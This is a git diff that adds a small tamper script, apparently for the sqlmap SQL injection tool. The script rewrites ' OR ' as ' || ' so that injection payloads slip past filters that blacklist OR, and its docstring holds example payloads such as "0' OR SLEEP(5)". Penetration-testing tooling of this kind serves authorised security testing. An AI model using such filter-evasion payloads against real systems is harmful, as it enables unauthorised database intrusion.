diff --git a/tamper/or2logicaloroperator.py b/tamper/or2logicaloroperator.py new file mode 100644 index 000000000..fccd0dc49 --- /dev/null +++ b/tamper/or2logicaloroperator.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python3 +""" +Tamper script to replace logical OR with double pipe (||) +Useful for evading weak filters that blacklist 'OR' + +Author: relunsec + +""" + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def tamper(payload, **kwargs): + """ + Replaces instances of logical OR with || operator + + Example: + Input: 1 OR 1=1 + Output: 1 || 1=1 + Requirement: + * MySQL + >>> tamper("0' OR SLEEP(5)") + "0' || SLEEP(5)" + """ + if payload: + # Replace only ' OR ' (with spaces) to avoid breaking string literals + payload = payload.replace(" OR ", " || ") + return payload